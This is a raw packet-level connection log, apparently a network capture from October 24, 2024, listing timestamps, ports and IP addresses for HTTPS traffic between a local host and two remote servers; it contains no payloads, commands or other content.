Oct 24, 2024 16:05:42.782054901 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.789510965 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.789545059 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.789603949 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.789625883 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.794162989 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.794204950 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.794610977 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.794723034 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.794756889 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.904143095 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.912318945 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.912333012 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:42.913029909 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:42.913033962 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.041337967 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.041559935 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.041601896 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.041789055 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.041789055 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.041820049 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.041836023 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.044363022 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.044436932 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.044522047 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.044686079 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.044717073 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.360837936 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.361255884 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.361278057 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.361658096 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.361663103 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.364298105 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.364753962 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.364765882 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.365231037 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.365236998 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.386341095 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.386828899 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.386836052 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.387219906 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.387223959 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.495980978 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.496056080 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.496135950 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.496149063 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.496179104 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.496227026 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.496622086 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.496637106 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.496690035 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.496705055 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.498867035 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.499030113 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.499095917 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.500776052 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.500791073 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.500802040 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.500807047 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.509275913 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.509361982 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.509463072 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.509948969 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.509985924 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.513715029 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.513808012 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.513953924 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.514321089 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.514358044 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.515533924 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.515700102 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.515749931 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.516035080 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.516038895 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.521969080 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.521982908 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.522042036 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.522507906 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.522520065 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.561022043 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.561362028 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.561394930 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.561892986 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.561908007 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.701355934 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.701427937 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.701517105 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.701548100 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.701610088 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.701673985 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.701786995 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.701786995 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.701814890 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.701838017 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.707547903 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.707576036 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.707703114 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.708112955 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.708125114 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.774843931 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.775680065 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.775733948 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.776637077 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.776650906 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.905466080 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.905616999 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.905802965 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.906070948 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.906114101 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.906140089 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.906157970 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.909821987 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.909837008 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:43.909979105 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.910239935 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:43.910253048 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.043248892 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:44.043308020 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:44.043797016 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:44.253998041 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.254657030 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.254698992 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.255249023 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.255269051 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.259854078 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.259896040 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.260535955 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.260596991 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.261213064 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.261230946 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.261558056 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.261619091 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.262156963 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.262171984 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385462999 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385536909 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385601044 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.385648012 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385684013 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385840893 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.385886908 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385936022 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.385936022 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.385957003 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.385976076 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.389075041 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.389118910 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.389285088 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.389570951 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.389584064 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.393651962 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.393793106 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.393857956 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.393920898 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.393920898 CEST	49908	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.393954992 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.393985033 CEST	443	49908	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.394737959 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.394840956 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.394892931 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.395031929 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.395031929 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.395075083 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.395102024 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.396439075 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.396464109 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.396578074 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.396840096 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.396855116 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.397680044 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.397742033 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.397808075 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.397919893 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.397953987 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.477428913 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.477770090 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.477794886 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.478143930 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.478147984 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.609906912 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.610337973 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.610421896 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.610496998 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.610496998 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.610512972 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.610521078 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.613404036 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.613420963 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.613491058 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.613645077 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.613656044 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.664314985 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.664705992 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.664753914 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.665215969 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.665230036 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.757153034 CEST	49853	443	192.168.2.4	142.250.186.100
Oct 24, 2024 16:05:44.757220030 CEST	443	49853	142.250.186.100	192.168.2.4
Oct 24, 2024 16:05:44.810915947 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.812772989 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.812920094 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.812948942 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.812983036 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.813045979 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.813184977 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.813213110 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.813240051 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.813252926 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.816968918 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.817054033 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:44.817236900 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.817363977 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:44.817394018 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.134635925 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.135096073 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.135112047 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.135576010 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.135581970 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.151616096 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.152076960 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.152087927 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.152499914 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.152504921 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.169895887 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.170239925 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.170306921 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.170605898 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.170619011 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.274946928 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.275024891 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.275077105 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.275108099 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.275130987 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.275180101 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.275284052 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.275296926 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.275310993 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.275324106 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.277857065 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.277896881 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.278001070 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.278162003 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.278181076 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.284610987 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.284818888 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.284951925 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.284985065 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.285001040 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.285037994 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.285049915 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.287065983 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.287142038 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.287224054 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.287415981 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.287451982 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.312768936 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.312855005 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.313028097 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.313112020 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.313112974 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.313153982 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.313184977 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.315088987 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.315129042 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.315201998 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.315325022 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.315344095 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.354785919 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.355161905 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.355173111 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.355675936 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.355680943 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.500391960 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.500530005 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.500813007 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.500813007 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.500911951 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.500920057 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.503272057 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.503345966 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.503438950 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.503561020 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.503577948 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.554573059 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.555037975 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.555098057 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.555496931 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.555511951 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.685131073 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.685213089 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.685369015 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.685439110 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.685439110 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.685457945 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.685470104 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.688369989 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.688452959 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:45.688647032 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.688719988 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:45.688741922 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.020934105 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.021416903 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.021445990 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.021881104 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.021888018 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.034137011 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.034512997 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.034549952 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.034884930 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.034900904 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.077491045 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.077969074 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.077989101 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.078294992 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.078300953 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347583055 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347649097 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347651958 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347718954 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347799063 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.347811937 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347809076 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.347831964 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.347922087 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.347985029 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.347985029 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.347997904 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348002911 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348004103 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348042011 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.348042011 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:46.348063946 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:46.348082066 CEST	443	49917	13.107.246.60	192.168.2.4
